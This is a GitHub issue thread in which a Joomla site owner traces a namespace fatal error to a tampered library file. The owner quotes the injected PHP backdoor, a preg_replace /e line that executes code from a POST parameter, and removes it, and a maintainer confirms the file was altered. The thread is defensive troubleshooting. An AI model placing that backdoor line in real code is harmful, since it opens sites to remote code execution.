I locate the file and compare the code from my backup file and I found out that there's a coded added at the header of the code:

<?php @preg_replace('/(.*)/e', @$_POST['dnpivijtfrdn'], '');

I simply remove this one --> @preg_replace('/(.*)/e', @$_POST['dnpivijtfrdn'], ''); or UPLOAD the backup file.

The namespace declaration is the first non comment line in that file.
Anything that isn't namespace Joomla\Uri; as the first line after the
file doc block would mean the file has been altered in some way.

On Sunday, December 27, 2015, jarutosurano notifications@github.com wrote:

After fixing a blank screen, I got this fatal error: Fatal error:
Namespace declaration statement has to be the very first statement in the
script in
/home/greenxxxxxxxx/public_html/libraries/vendor/joomla/uri/src/UriInterfacephp
on line 10

How to fix a blank screen -->
http://wwwjoomlabamboocom/blog/how-to-joomla/how-to-fix-a-blank-screen-after-upgrading-to-joomla-3-2

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#8799.

Does it mean my site has been hacked?

Based on what you posted its a fair assumption.

On Sunday, December 27, 2015, jarutosurano notifications@github.com wrote:

Does it mean my site has been hacked?

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#8799 (comment).

I see. Thanks, Mbabker. Do you have Joomla extensions that will help me detect hacked files?

Myjoomla

On Sunday, December 27, 2015, jarutosurano notifications@github.com wrote:

I see. Thanks, Mbabker. Do you have Joomla extensions that will help me
detect hacked files?

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#8799 (comment).

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Closed as it is now clear that this is not an issue with the core joomla files but a specific issue (most likely a hack) to a specific site